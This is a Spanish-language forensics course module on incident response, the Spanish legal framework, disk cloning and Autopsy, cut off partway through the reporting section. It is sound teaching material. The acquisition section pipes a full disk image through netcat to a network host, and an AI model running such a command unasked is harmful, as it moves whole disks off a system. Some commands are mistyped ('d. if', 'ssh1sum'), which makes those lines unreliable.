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Introducción

El análisis forense es un área perteneciente al ámbito de la seguridad informá-

tica surgida a raíz del incremento de los diferentes incidentes de seguridad. En

el análisis forense se realiza un análisis posterior de los incidentes de seguridad,

mediante el cual se trata de reconstruir como se ha penetrado o vulnerado en

el sistema. Por tanto, cuando se está realizando un análisis forense se intenta

responder a las siguientes preguntas:

• ¿Quién ha realizado el ataque?

• ¿Cómo se realizo?

• ¿Qué vulnerabilidades se han explotado?

• ¿Qué hizo el intruso una vez que accedió al sistema?

• Etc.

El área de la ciencia forense es la que más ha evolucionado dentro de la segu-

ridad, ya que (tal y como se muestra en las siguientes figuras) los incidentes

de seguridad han incrementado en los últimos años. Además, los ataques son

diferentes y por tanto hay que actualizar las técnicas de análisis en cada mo-

mento.

En la figura 1 se ve la evolución de los incidentes de seguridad desde 1999 en

la red académica española. Como se puede observar, en el año 1999 nos en-

contrábamos con menos de 200 incidentes y en el 2007 llegaron casi a 3.000.

RedIRIS

RedIRIS es la red académica y de investigación española y proporciona servicios avanza-
dos de comunicaciones a la comunidad científica y universitaria nacional. Está financia-
da por el Ministerio de Ciencia e Innovación, e incluida en su mapa de Instalaciones
Científico Tecnológicas Singulares.

Figura 1. Incidentes dentro de la red académica española (fuente Rediris)
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En la siguiente figura se puede ver los diferentes tipos de ataques con su inci-

dencia en el año 2007 en la red académica española.

Figura 2. Tipos de ataques en la red académica española (fuente Rediris)

El procedimiento utilizado para llevar a cabo un análisis forense es el siguiente:

• Estudio�preliminar. En esta fase se realiza un estudio inicial mediante

entrevistas y documentación entregada por el cliente con el objetivo de

tener una idea inicial del problema que nos vamos a encontrar.

• Adquisición�de�datos. Se realiza una obtención de los datos e informacio-

nes esenciales para la investigación. Se duplican o clonan los dispositivos

implicados para un posterior análisis. En esta fase habrá que tener mucho

cuidado en la adquisición de los datos puesto que cabe la posibilidad de

incumplir los derechos fundamentales del atacante.

• Análisis�e�investigación. Se realiza un estudio con los datos adquiridos

en la fase anterior. En esta fase también habrá que tener mucho cuidado

puesto que cabe la posibilidad de incumplir los derechos fundamentales

del atacante.

• Realización�del�informe. En esta fase se elabora el informe que será re-

mitido a la dirección de la organización o empresa. Posteriormente, se po-

drá usar para acompañar la denuncia que realicemos a la autoridad com-

petente.
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Objetivos

Con los materiales de este módulo didáctico se pretende que el estudiante

alcance los objetivos siguientes:

1. Identificar las acciones que se deben llevar a cabo cuando ya ha sucedido

un incidente de seguridad.

2. Conocer las fases del análisis forense.

3. Conocer las herramientas que se deben utilizar en la gestión de incidentes

de seguridad.

4. Saber elaborar un informe.
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1. ¿Qué es el análisis forense?

Una vez hemos visto cuál ha sido la motivación que produce el análisis foren-

se, nos centraremos y describiremos más detalladamente dicha ciencia.

El análisis forense en un sistema informático es una ciencia moderna

que permite reconstruir lo que ha sucedido en un sistema tras un inci-

dente de seguridad. Este análisis puede determinar quién, desde dónde,

cómo, cuándo y qué acciones ha llevado a cabo un intruso en los siste-

mas afectados por un incidente de seguridad.

Incidentes de seguridad

Un incidente de seguridad es cualquier acción fuera de la ley o no autorizada: ataques
de denegación de servicio, extorsión, posesión de pornografía infantil, envío de correos
electrónicos ofensivos, fuga de información confidencial dentro de la organización..., en
el cual está involucrado algún sistema telemático de nuestra organización.

Las fuentes de información que se utilizan para realizar un análisis forense son

diversas:

• Correos electrónicos.

• IDS / IPS.

• Archivo de logs de los cortafuegos.

• Archivo de logs de los sistemas.

• Entrevistas con los responsables de seguridad y de los sistemas.

• Etc.

1.1. Metodología en un incidente de seguridad

Los incidentes de seguridad normalmente son muy complejos y su resolución

presenta muchos problemas. A continuación se muestran las siguientes fases

en la prevención, gestión y detección de incidentes:

1)�Preparación�y�prevención. En esta fase se toman acciones para preparar la

organización antes de que ocurra un incidente. Por tanto, se deberá empezar

por tratar de analizar qué debe ser protegido y qué medidas técnicas y orga-

nizativas tienen que implementarse. Una vez hechos los diversos análisis se

podrá considerar que la organización ya tiene identificadas las situaciones que
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pueden provocar un incidente de seguridad y ha seleccionado los controles

necesarios para reducirlas. Pero aun hecho dicho análisis, siempre hay situa-

ciones que no van a poder ser protegidas, por lo que se tendrá que elaborar

un plan de continuidad de negocio. Dicho plan está formado por un conjun-

to de planes de contingencia para cada una de las situaciones que no están

controladas.

2)�Detección�del�incidente. La detección de un incidente de seguridad es una

de las fases más importante en la securización de los sistemas. Hay que tener

en cuenta que la seguridad absoluta es muy difícil y es esta fase la que nos sirve

para clasificar y priorizar los incidentes acaecidos en nuestra organización. La

clasificación es la siguiente:

• Accesos no autorizados: un usuario no autorizado accede al sistema.

• Código malicioso: ha habido una infección de programas maliciosos (vi-

rus, gusano spyware, troyano, etc.) en un sistema.

Programas maliciosos

a) Virus: es un archivo ejecutable que desempeña acciones (dañar archivos, reproducir-
se, etc.) en un ordenador sin nuestro consentimiento.

b) Gusano: es un código malicioso que se reproduce y extiende a un gran número de
ordenadores.

c) Spyware: es un programa que recopila información de un ordenador y la envía a
terceras personas sin el consentimiento del propietario.

d) Troyano: también conocido como caballo de troya, es un programa que obtiene las
contraseñas haciéndose pasar por otro programa.

• Denegación de servicio: incidente que deja sin dar servicio (dns, web, co-

rreo electrónico, etc.) a un sistema.

• Phishing: consiste en suplantar la identidad de una persona o empresa pa-

ra estafar. Dicha estafa se realiza mediante el uso de ingeniería social con-

siguiendo que un usuario revele información confidencial (contraseñas,

cuentas bancarias, etc.). El atacante suplanta la imagen de una empresa u

organización y captura ilícitamente la información personal que los usua-

rios introducen en el sistema.

Dos casos de phishing

En el año 2006 la Agencia Estatal de Administración Tributaria (AEAT) sufrió un ataque
de phishing que se llevó a cabo mediante dos fases. La primera un envío masivo de correos
electrónicos suplantando la identidad de la AEAT. En la segunda fase trataron de obtener
dinero ilegalmente con la información que solicitaron haciéndose pasar por AEAT.
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Figura 3. Correo electrónico enviado haciéndose pasar por AEAT

Aprovechando las fechas del cierre del impuesto de valor añadido (IVA) se solicitaba el
acceso a un enlace para poder optar a la deducción fiscal. Al acceder a la web trampa, se
solicitaban datos como la tarjeta de crédito, entre otros, para obtener la información y
poder estafar a los usuarios. La figura 4 muestra las webs trampas. Éstas eran idénticas a
la web de la AEAT por esas fechas.
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Figura 4. Formulario haciéndose pasar por AEAT para recabar información

• Recogida de información: un atacante obtiene información para poder rea-

lizar otro tipo de ataque (accesos no autorizados, robo, etc.).

• Otros: engloba los incidentes de seguridad que no tienen cabida en las

categorías anteriores.

La detección de un incidente de seguridad se realiza a través de diversas fuen-

tes. A continuación se enumeran algunas de ellas:

• Alarma de los antivirus.

• Alarmas de los sistemas de detección de intrusión y/o prevención (IDS y/o

IPS).

• Alarmas de sistemas de monitorización de los sistemas (zabbix, nagios,

etc.).

• Avisos de los propios usuarios al detectar que no funcionan correctamente

los sistemas informáticos.

• Avisos de otras organizaciones que han detectado el incidente.

• Análisis de los registros de los sistemas.

Una vez detectado el incidente a través de cualquier vía, para poder gestionarlo

es recomendable tener al menos los siguientes datos:

Webs recomendadas

http://www.zabbix.com/
http://www.nagios.org/

http://www.zabbixz.com/
http://www.nagios.org/
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• Hora y fecha en la que se ha notificado el incidente.

• Quién ha notificado el incidente.

• Clasificación del incidente (accesos no autorizados, phishing, denegación

de servicio, etc.).

• Hardware y software involucrado en el incidente (si se pueden incluir los

números de serie, es recomendable).

• Contactos para gestionar el incidente.

• Cuándo ocurrió el incidente.

Si en dicha incidencia se encuentran involucrados datos de carácter personal,

es de obligado cumplimiento, según el Real Decreto de Desarrollo de la LOPD,

un registro de incidencias. En la figura 5 se muestra un ejemplo de un registro

de incidencias.

Figura 5. Ejemplo de registro de incidencias de la LOPD.

3)�Respuesta�inicial. En esta fase se trata de obtener la máxima información

posible para determinar qué tipo de incidente de seguridad ha ocurrido y así

poder analizar el impacto que ha tenido en la organización. La información

obtenida en esta fase será utilizada en la siguiente para poder formular la es-

trategia a utilizar. Dicha información será fruto como mínimo de:
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• Entrevistas con los administradores de los sistemas.

• Revisión de la topología de la red y de los sistemas.

• Entrevistas con el personal de la empresa que hayan tenido algo que ver

con el incidente con el objetivo de contextualizarlo.

• Revisar los logs de la detección de la intrusión.

4)�Formulación�de�una�estrategia�de�respuesta�ante�el�incidente. Una vez

recabada la información de la fase anterior, hay que analizarla para después

tomar una decisión sobre cómo actuar. Las estrategias a utilizar dependerán de

varios factores: criticidad de los sistemas afectados, si el incidente ha salido a la

luz pública, la habilidad del atacante, cómo de sensible es la información a la

que se ha tenido acceso, si el sistema de información está caído y la repercusión

que esto tiene, etc.

Estrategias de respuesta

Si la web corporativa ha sido atacada y modificada, una estrategia recomendada en este
caso sería: reparar la web, monitorizarla, investigarla mientras este online. En el caso que
haya un robo de información la estrategia recomendada seria: clonar los sistemas que
hayan sido implicados, investigar el robo, realizar un informe, registrarlo en el registro
de incidencias cumpliendo la LOPD y denunciarlo ante los Cuerpos del Estado o en los
juzgados.

5)�Investigación�del�incidente. En esta fase se determina quién, cuándo, dón-

de, qué, cómo y por qué ha ocurrido el incidente. Para investigar dicho inci-

dente se divide el proceso en dos fases:

• Adquisición�de�los�datos. La obtención de los datos es la acumulación de

pistas y hechos que podrían ser usados durante el análisis forense de los

ordenadores para la obtención de evidencias.

Obtención de datos

Los datos a obtener son los siguientes: evidencias de los sistemas involucrados (obtención
de los datos volátiles, obtención de la fecha y hora del sistema, obtención del timestamp
de los ficheros involucrados, obtención de los ficheros relevantes, obtención de las copias
de seguridad, etc.), evidencias de los equipos de comunicaciones (logs de los IDS/IPS,
logs de los routers, logs de los cortafuegos, obtención de las copias de seguridad, logs de
autenticación de los servidores, logs de la VPN, etc.), obtención de los testimonios de
los afectados, etc.

• Análisis�forense. En esta fase se revisan todos los datos adquiridos en la

fase anterior. Esta fase será descrita detalladamente más adelante.

6)�Redacción�del�informe. En esta última fase se redacta un informe que será

entregado a la dirección de la organización o empresa así como a los cuerpos

de policía del Estado o al juzgado si el incidente se denuncia. Dicho informe

puede ser de dos clases: ejecutivo y técnico. El informe ejecutivo es un infor-

me enfocado a personas sin conocimientos técnicos, mientras que el informe
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técnico explica de una manera técnicamente detallada el procedimiento del

análisis. Se describirá más adelante, en el apartado relativo a la redacción del

informe.
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2. Tipos de análisis forense

Dependiendo del punto de vista nos vamos a encontrar diferentes tipos de

análisis forense. Si lo vemos desde el punto de vista de lo que se va a analizar,

nos encontraremos los siguientes tipos:

• Análisis forense de sistemas: en este análisis se tratarán los incidentes de

seguridad acaecidos en servidores y estaciones de trabajo con los sistemas

operativos: Mac OS, sistemas operativos de Microsoft (Windows 9X/Me,

Windows 2000 server/workstation, Windows 2003 Server, Windows XP,

Windows Vista, Windows 2008 Server, etc.), sistemas Unix (Sun OS, SCO

Unix, etc.) y sistemas GNU/Linux (Debian, RedHat,Suse, etc.).

• Análisis forense de redes: en este tipo se engloba el análisis de diferentes

redes (cableadas, wireless, bluetooth, etc.).

• Análisis forense de sistemas embebidos: en dicho tipo se analizaran inci-

dentes acaecidos en móviles, PDA, etc. Un sistema embebido posee una

arquitectura semejante a la de un ordenador personal.
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3. Entorno legal

En este punto veremos las leyes de la legislación española que debemos tener

en cuenta a la hora de realizar el análisis forense de un sistema telemático en

este país.

3.1. Ley de Enjuiciamiento Civil

La Ley de Enjuiciamiento Civil establece el marco legal, mediante el cual se

regulan los procesos civiles, los tribunales y quienes ante ellos acuden e inter-

vienen.

3.2. Derechos fundamentales

Los derechos fundamentales son aquellos derechos humanos garantizados con

rango constitucional que se consideran como esenciales en el sistema político

que la Constitución funda y que están especialmente vinculados a la dignidad

de la persona humana.

La Constitución española otorga a todos los ciudadanos una serie de derechos

fundamentales y libertades públicas, reguladas por el título I de la Constitu-

ción, capítulo 2, sección 1.

Los derechos se dividen fundamentalmente en 3 tipos, según el ámbito:

1) personal.

2) público.

3) económico y social.

Dentro de estos derechos son de particular interés los siguientes:

• Derecho a la seguridad jurídica y tutela judicial, la cual nos garantiza un

proceso penal con garantías.

• Derecho al secreto de las comunicaciones.

• Derecho a la vida privada. En este derecho se incluye el derecho a la intimi-

dad, una vida privada, derecho al honor y la propia imagen. Asimismo se

incluye la limitación del uso de la informática para proteger la intimidad.
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• Derecho fundamental a la protección de datos. En el año 2000 en la sen-

tencia 292/2000, el Tribunal Constitucional crea el derecho fundamental

a la protección de datos como un derecho diferente al de intimidad.

3.3. Ley de Protección de Datos de Carácter Personal

LOPD son las siglas abreviadas de la Ley Orgánica 15/1999, de 13 de diciembre,

de Protección de Datos de Carácter Personal. Esta Ley fundamentalmente tiene

el objetivo de proteger a las personas físicas con respecto al tratamiento que

se pueda realizar de sus datos propios por distintos sujetos, ya sean públicos

o privados.

Dicha regulación pretende, fundamentalmente, establecer un control sobre

quién tiene dichos datos, para qué los usa y a quién se los cede. Para ello, im-

pone una serie de obligaciones a los responsables de dichos ficheros de datos:

como son las de recabar el consentimiento de los titulares de los datos para

poder tratarlos, comunicar a un registro especial la existencia de dicha base de

datos y su finalidad, así como mantener unas medidas de seguridad mínimas

de la misma, en función del tipo de datos recogidos. Por otro lado, la LOPD

reconoce una serie de derechos al individuo sobre sus datos, como son los de

información, acceso, rectificación e, incluso, de cancelación de los mismos en

determinados supuestos.

Finalmente, se designa a una entidad: la Agencia de Protección de Datos, como

órgano administrativo encargado de hacer cumplir la LOPD y sus reglamentos,

pudiendo inspeccionar e imponer fuertes sanciones a aquellos sujetos que no

cumplan con la misma.

Dentro del Reglamento de Desarrollo de la LOPD (RD 1720/2007), existen tres

niveles de seguridad distintos: el básico, el medio y el alto. Para saber qué ni-

vel debemos de aplicar, debemos referirnos al tipo de datos personales alma-

cenados en el fichero. Para ello, estaremos a lo dispuesto en el artículo 81 del

Reglamento, del que se deduce lo siguiente:

1) Nivel básico:

• Aplicable a todos los sistemas con datos personales en general.

2) Nivel medio:

• Datos de comisión de infracciones administrativas o penales.

• Datos de Hacienda pública.

• Datos de servicios financieros.

• Datos sobre solvencia patrimonial y crédito, y
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• Conjunto de datos de carácter personal suficientes que permitan ob-

tener una evaluación de la personalidad del individuo.

3) Nivel alto:

• Datos sobre ideología.

• Datos sobre religión.

• Datos sobre creencias.

• Datos sobre origen racial.

• Datos sobre salud o vida sexual.

• Datos recabados para fines policiales, y

• Datos sobre violencia de género.

Estas medidas de seguridad se aplican de forma acumulativa, así, el nivel alto

deberá cumplir también las reguladas para el nivel medio y el nivel bajo de

seguridad. Véase el esquema siguiente en la figura 6.

Figura 6. Niveles de los datos según el RDLOPD

3.4. Ley de Servicios de la Sociedad de la Información y del

Comercio Electrónico

LSSI-CE son las siglas abreviadas de la Ley de Servicios de la Sociedad de la

Información y del Comercio Electrónico aprobada el 11 de julio del 2001. Esta

ley tiene el objetivo fundamental de regular y proteger a todos aquellos que

intervienen en las relaciones ofrecidas por Internet.

Dicha regulación pretende, fundamentalmente, establecer una normativa de

Internet desde un punto de vista comercial y promocional obligando, por

ejemplo a los propietarios de las webs, a incluir los datos de identificación de

la empresa de modo perfectamente accesible y claro.
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Además prohíbe el correo electrónico comercial no solicitado, también cono-

cido con el nombre de spam.

3.5. Ley de conservación de datos relativos a las comunicaciones

y las redes públicas

Esta ley tiene como objetivo conservar los datos que pueden ser relevantes

para rastrear las actividades ilícitas y así mejorar la seguridad de los ciudada-

nos frente a actividades terroristas. Por tanto, pretende establecer una regula-

ción a los operadores de telecomunicaciones para retener determinados datos

generados o tratados por los mismos, con el fin de posibilitar que dispongan

de ellos los agentes facultados (son los miembros de los Cuerpos de Policia

autorizados para ello en el marco de una investigación criminal).

En su artículo 3 nos define los datos objeto de conservación dividiéndolos en

diferentes tipos:

• telefonía fija

• telefonía móvil

• acceso a Internet, correo electrónico y telefonía por Internet

Los datos que solicitan que sean conservados son todos los necesarios para la

trazabilidad de origen a destino de cualquier comunicación telemática.

El periodo de conservación de los datos impuesta cesa a los doce meses, siem-

pre computados desde la fecha en que se haya producido la comunicación.

Aunque podría haber alguna excepción, cuyo periodo mínimo deberá ser de

6 meses y máximo 2 años.

3.6. Código penal

El Código penal nos muestra las actitudes que se han tipificado como delito.

El concepto de delito viene descrito en el artículo 10 del Código penal (Ley

Orgánica 10/1995, de 23 de noviembre) (CP): "son delitos o faltas las acciones

y omisiones dolosas o imprudentes penadas por la Ley."

Por tanto, en este apartado comentaremos todas aquellas acciones que se pue-

den considerar como delitos telemáticos según la LO 10/1995 y varias modi-

ficaciones posteriores:

• Corrupción de menores:

– Exhibicionismo y provocación sexual (art. 186): establece como delito

la difusión, venta o exhibición entre menores de material pornográfi-

co.
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– Prostitución (art. 187 y 189.1):

• Apología del delito:

– Concepto (art. 18.1, párrafo 2.°).

– Apología del genocidio (art. 608.2).

• Delitos contra el honor (art. 211):

– Calumnias (art. 205).

– Injurias (art. 208).

"La calumnia y la injuria se reputarán hechas con publicidad cuando se propaguen por
medio de la imprenta, la radiodifusión o por cualquier otro medio de eficacia semejante."

• Delitos contra la intimidad (art. 197):

"1. El que, para descubrir los secretos o vulnerar la intimidad de otro, sin su consenti-
miento, se apodere de sus papeles, cartas, mensajes de correo electrónico o cualesquiera
otros documentos o efectos personales, o intercepte sus telecomunicaciones o utilice ar-
tificios técnicos de escucha, transmisión, grabación o reproducción del sonido o de la
imagen, o de cualquier otra señal de comunicación, será castigado con las penas de pri-
sión de uno a cuatro años y multa de doce a veinticuatro meses."

• Defraudación electrónica:

– Estafa (art. 248.2):

"También se consideran reos de estafa los que, con ánimo de lucro, y valiéndose de alguna
manipulación informática o artificio semejante, consigan la transferencia no consentida
de cualquier activo patrimonial en perjuicio de tercero."

• Apropiación indebida (art. 252).

• Uso ilegal de terminales (art. 256):

"El que hiciere uso de cualquier equipo terminal de telecomunicación, sin consentimien-
to de su titular, ocasionando a éste un perjuicio superior a cincuenta mil pesetas, será
castigado con la pena de multa de tres a doce meses."

• Daños a ficheros informáticos (art. 264.2):

"La misma pena (prisión de uno a tres años y multa) se impondrá al que por cualquier
medio destruya, altere, inutilice o de cualquier otro modo dañe los datos, programas o
documentos electrónicos ajenos contenidos en redes, soportes o sistemas informáticos."

• Piratería informática:

– "Será castigado con la pena de prisión de seis meses a dos años y multa de 12 a 24
meses quien, con ánimo de lucro y en perjuicio de tercero, reproduzca, plagie, distribuya
o comunique públicamente, en todo o en parte, una obra literaria, artística o científica, o
su transformación, interpretación o ejecución artística fijada en cualquier tipo de soporte
o comunicada a través de cualquier medio, sin la autorización de los titulares de los
correspondientes derechos de propiedad intelectual o de sus cesionarios."
– Art. 270.3: "Será castigado también con la misma pena quien fabrique, importe, ponga
en circulación o tenga cualquier medio específicamente destinado a facilitar la supresión
no autorizada o la neutralización de cualquier dispositivo técnico que se haya utilizado
para proteger programas de ordenador o cualquiera de las otras obras, interpretaciones o
ejecuciones en los términos previstos en el apartado 1 de este artículo."
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• Delitos documentales. En el artículo 26 del Código penal define el con-

cepto de documento:

"A los efectos de este Código se considera documento todo soporte material que exprese
o incorpore datos, hechos o narraciones con eficacia probatoria o cualquier otro tipo de
relevancia jurídica."

– Falsedades documentales (del artículo 390 al 400).

– Infidelidad en la custodia (del artículo 413 al 416).

• Protección de la contraseña (art. 414.2):

"El particular que destruyere o inutilizare los medios a que se refiere el apartado anterior
(los puestos para impedir el acceso no autorizado a los documentos) será castigado con
la pena de multa de seis a dieciocho meses."
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4. Metodología y fases de un análisis forense

En el análisis forense nos vamos a encontrar con 3 fases bien diferenciadas a

pesar de que, dependiendo del enfoque y del tipo que sea, dicho análisis se

podrá dividir en más fases.

Figura 7. Fases de un análisis forense

4.1. Adquisición de datos

La adquisición de datos es una de las actividades más críticas en el análisis

forense. Dicha criticidad es debida a que, si se realizase mal, todo el análisis

e investigación posterior no sería válido debido a que la información saldría

con impurezas, es decir, la información que creemos que es del origen no lo

es realmente.

Una vez que se ha detectado un incidente de seguridad, uno de los primeros

problemas del analista en la recogida de datos se resume en decir si el equipo

hay que apagarlo o no.

¿Apagar o no el equipo?

Esta decisión, aunque pueda parecer trivial, no lo es tanto, porque las consecuencias
pueden ser varias: perder evidencias que estén en la memoria volátil, ver los usuarios
conectados, ver los procesos en ejecución, conocer las conexiones existentes, etc.

Otro de los problemas que nos encontraremos a veces y dependiendo del tipo

de organización es la obtención de los siguientes datos: nombre y apellidos

del responsable del equipo y usuario del sistema. Otros datos que se deben

obtener como mínimo serían: modelo y descripción del sistema, número de

serie, sistema operativo que está corriendo, así como el coste económico apro-

ximado que tiene dicho incidente (por ejemplo, si ha sido atacado el sistema

de gestión de un láser y para su equilibrado se precisa de técnicos que tienen

que desplazarse, sería un coste axial como el tiempo de estar parado).
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Figura 8. Ejemplo de formulario para recabar la información en la primera fase del análisis forense

A continuación se deben localizar los dispositivos de almacenamiento que es-

tán siendo utilizados por el sistema: discos duros, memorias (USB, RAM, etc.).

Una vez que se han localizado, se debe recabar la siguiente información: mar-

ca, modelo, número de serie, tipo de conexión (IDE, SCSI, USB, etc.), conexión

en el sistema (si está conectado en la IDE1 y si es el primario o el secundario,

etc.).

Una vez localizadas todas las partes del sistema, es recomendable hacer foto-

grafías de todo el sistema así como de su ubicación además de fotografiar los

dispositivos de almacenamiento.

Cuando se hayan hecho las fotos se continúa con la clonación bit a bit de

los dispositivos de almacenamiento del sistema. Dicha clonación tiene que

ser realizada en un dispositivo que haya sido previamente formateado a bajo

nivel, ya que este proceso garantiza que no queden impurezas de otro análisis

anterior. Por tanto, la realización de dicha clonación deberá hacerse mediante

un LIVECD. Por ejemplo, si se realiza con el propio hardware, se introducirá

un disco duro con la misma capacidad o mayor que el original y se ejecutará

dicho comando (el disco duro original está ubicado en la IDE 1 como máster

y el disco duro virgen estará en la IDE 1 como esclavo).

d. if=/dev/hda of=/dev/hdb conv=sync,notrunc,noerror bs=512

También se podría realizar mediante la red arrancando previamente el sistema

con un LIVECD y después ejecutando las siguientes instrucciones.

dd if=/dev/hda | nc 192.168.1.10 8888

nc –l –p 8888 > /mnt/clonacion/hda_con_incidencias.dd
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Una vez realizada dicha clonación, es recomendable realizar una verificación

de que el dispositivo de almacenamiento de origen y destino son idénticos, así

comprobamos la integridad de los datos. Para ello se utilizan funciones HASH

basadas en SHA1 y/o MD5.

ssh1sum /dev/hda

ssh1sum /dev/hdb ó ssh1sum hda_con_incidencias.dd

Finalmente, se tienen que transportar dichos dispositivos a nuestro centro,

donde realizaremos el análisis y la investigación. Dependiendo de si existe

información con datos de carácter personal, hay que tener en cuenta la LOPD,

así como su RDLOPD. De todas maneras es obvio que las leyes se deben tener

en cuenta siempre, ya que su desconocimiento no exime de su cumplimiento.

Datos de carácter personal

Por ejemplo, si somos de una empresa externa y en dicho sistema hay datos de carácter
personal, habría que realizar un contrato de encargado de tratamiento, rellenar el registro
de dispositivos así como el de E/S y el de incidencias, cumplir con las medidas técnicas
que requiere la Ley. Por tanto, siempre se debe tener en cuenta la LOPD, sólo que si no
existen datos de carácter personal no nos afecta.

4.2. Análisis e investigación

La fase de análisis e investigación de las evidencias digitales es un proceso

que requiere obviamente un gran conocimiento de los sistemas a estudiar. Las

fuentes de recogida de información en esta fase son varias:

• registros de los sistemas analizados,

• registro de los detectores de intrusión,

• registro de los cortafuegos,

• ficheros del sistema analizado.

En el caso de los ficheros del sistema analizado, hay que tener cuidado con

las carpetas personales de los usuarios. Dichas carpetas están ubicadas en el

directorio /home en sistemas GNU/Linux y en c:\documents and settings\ en

sistemas Windows con tecnología NT (Windows 2000, XP, etc.).

Hay que tener en cuenta que no se consideran personales aquellas carpetas

que han sido creadas por defecto en la instalación del sistema operativo, por

ejemplo, las cuentas de administrador. De todas formas, siempre es recomen-

dable asesorarse con un jurista ante la realización de un análisis forense para

prevenir posibles situaciones desagradables (por ejemplo: ser nosotros los de-

nunciados por incumplir la legislación).
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Nota

Se recomienda siempre asesorarnos por especialistas jurídicos en el campo de las teleco-
municaciones, ya que una mala praxis en esta ciencia nos puede generar muchos proble-
mas al vulnerar algún derecho. Los bufetes más importantes en la actualidad en España
y con reconocimiento en Europa son varios: Garrigues, Pintos & Salgado y Legalia entre
otros.

En estos casos hay que tener en cuenta el artículo 18 de la Constitución espa-

ñola, que garantiza el derecho al honor, a la intimidad personal y familiar y a

la propia imagen, además de garantizar por ejemplo el secreto de las comuni-

caciones salvo resolución judicial. Por tanto, toda la investigación tiene que

ir siempre encaminada a encontrar las evidencias en todos aquellos datos que

no contengan información personal. Solo se puede acceder a esta información

disponiendo de una resolución judicial que lo autorice.

Cuando se accede a la información podemos encontrar dos tipos de análisis:

• Físico: información que no es interpretada por el sistema operativo ni por

el de ficheros.

• Lógico: información que sí que es interpretada por el sistema operativo. En

este nivel, por tanto, podremos obtener: estructura de directorios, ficheros

que se siguen almacenando así como los que han sido eliminados, horas y

fechas de creación y modificación de los ficheros, tamaños, utilización de

los HASH para reconocer los tipos de archivos, contenido en los sectores

libres, etc.

Hash

Una función de hash es una función para resumir o identificar probabilísticamente un
gran conjunto de información, dando como resultado un conjunto imagen finito, gene-
ralmente menor (un subconjunto de los números naturales por ejemplo). Una propiedad
fundamental del hashing es la que dicta que si dos resultados de una misma función son
diferentes, entonces las dos entradas que generaron dichos resultados también lo son.

En un dispositivo de almacenamiento nos encontraremos con tres tipos de

datos recuperados:

• Allocated: inodo y nombre del fichero intactos, con lo que dispondremos

del contenido integro.

• Deleted/Reallocated: inodo y nombre del fichero intactos aunque han sido

recuperados porque habían sido borrados, con lo que dispondremos del

contenido íntegro.

• Unallocated: inodo y nombre de fichero no disponibles, con lo que no ten-

dremos el contenido integro del archivo aunque sí algunas partes. A ve-

ces, realizando una labor muy laboriosa se puede obtener parte de la in-

formación e incluso unir las partes y obtener casi toda la información del

archivo.

Inodo

Es una estructura de datos pro-
pia de los sistemas de archivos
tradicionalmente empleados
en los sistemas operativos tipo
UNIX que contiene las caracte-
rísticas (permisos, fechas, ubi-
cación, pero NO el nombre)
de un archivo regular, direc-
torio, o cualquier otro objeto
que pueda contener el sistema
de ficheros.
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Una de las primeras acciones que vamos a tener que efectuar es determinar

la configuración horaria del sistema. Con dicha opción podremos validar las

fechas y las horas que podemos identificar para que no sean cuestionadas ante

otro peritaje por ejemplo.

Después de identificar la configuración horaria, podremos realizar el estudio

de la línea de tiempo también conocida como timeline y conocer cuáles han

sido las acciones realizadas desde la instalación hasta el momento que se ha

clonado el disco.

Las herramientas por excelencia para esta fase de análisis e investigación son

el EnCase y el Sleunth kit & Autopsy. El EnCase es una aplicación propietaria

para la realización de análisis forense mientras que Sleunth kit & Autopsy es un

conjunto de herramientas de software libre creadas por Dan Farmer y Wietse

Venema. Estas aplicaciones funcionan sobre Windows y GNU/Linux respec-

tivamente, pero son capaces de analizar sistemas Unix, Linux, Mac OS X y

Microsoft.

A continuación se muestra la pantalla principal de la herramienta autopsy en

la figura 9. Como se puede observar, dicha aplicación está en un entorno web,

con lo que permite a un investigador trabajar de forma remota aunque en este

caso, como observaréis, ha sido de manera local.

Figura 9. Pantalla principal de Autopsy

Como podéis ver, la pantalla principal nos permite tres opciones. La primera

opción permite abrir un caso que ya ha sido empezado, la segunda crear un

nuevo caso, y la tercera obtener información de ayuda. En este caso de prueba

crearemos uno nuevo para mostrar la sencillez de Autopsy. Véase la figura 10

a modo de ejemplo.
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Figura 10. Pantalla de creación de un nuevo caso

Lo primero que nos pide es el nombre del caso, a nuestro ejemplo lo llamare-

mos "caso UOC". Después nos pide la descripción en una línea de texto con

lo que tiene que ser clara y concisa. Por último nos pide los nombres de los

investigadores.

Una vez creado el nuevo caso, tendremos que añadirle los equipos afectados.

En este caso añadiremos uno que se llama Zeus, cuya misión es la monitoriza-

ción de los demás servidores utilizando el software Nagios. También nos va a

pedir la zona horaria para poder así correlacionar la información de los demás

equipos involucrados que estén en diferentes zonas, así como el desfase del

reloj.

Figura 11. Pantalla de Autopsy para añadir un nuevo equipo para analizar

Una vez añadido el equipo, nos saldrá el siguiente menú que se ve en la figura

12.
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Figura 12. Pantalla de Autopsy para añadir imágenes a un equipo, realizar timelines, etc.

En primer lugar nos informa de que no tenemos añadida ninguna imagen de

ningún dispositivo de almacenamiento y nos dice que seleccionemos el botón

de "añadir una imagen". Una vez añadida dicha imagen, tendremos opción a:

• Realizar la actividad de línea de tiempos.

• Comprobar la integridad de la imagen.

• Ver la base de datos de los HASH.

• Ver las notas que se hayan añadido.

• Ver la secuencia de eventos.

Si pinchamos en añadir imagen del disco, nos saldrá la siguiente pantalla que

se observa en la figura 13.

Figura 13. Pantalla para añadir una imagen de un disco duro

En primer lugar debemos indicar la ruta completa de la localización de la ima-

gen, en nuestro caso es  /mnt/clonacion/hda_con_incidencias.dd .

Después indicamos qué tipo de imagen es, de todo el disco o solo de una par-

tición, así como el método de importación.
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Figura 14. Pantalla de Autopsy de las posibles ayudas

Como se puede observar en la figura 14, todo se realiza de una manera bastan-

te sencilla y en un entorno muy amigable. Además, si hubiese alguna duda,

dicho aplicativo tiene una ayuda bastante completa, por lo que no es necesa-

rio explicar su utilización. Además, en el siguiente apartado se describe cómo

se lleva a cabo un análisis forense por un incidente de seguridad.

4.3. Redacción del informe

La redacción del informe es una tarea ardua a la par que compleja, porque no

sólo hay que recoger todas las evidencias, indicios y pruebas recabados sino

que, además, hay que explicarlos de una manera clara y sencilla. Hay que tener

en cuenta que muchas veces dichos informes van a ser leídos por personas sin

conocimientos técnicos y obviamente tiene que ser igual de riguroso y debe

ser entendido, con lo que habrá que explicar minuciosamente cada punto.

Todo informe deberá tener perfectamente identificada la fecha de finalización

de éste, así como a las personas involucradas en su desarrollo.

Aunque a continuación explicaremos los dos tipos de informes que hemos

mencionado anteriormente (informe ejecutivo e informe técnico) en ciertas

situaciones se pueden unificar en uno dependiendo del caso y de la situación,

aunque no es recomendable.

4.3.1. Informe ejecutivo

Los principales lectores de los informes ejecutivos son la alta dirección de las

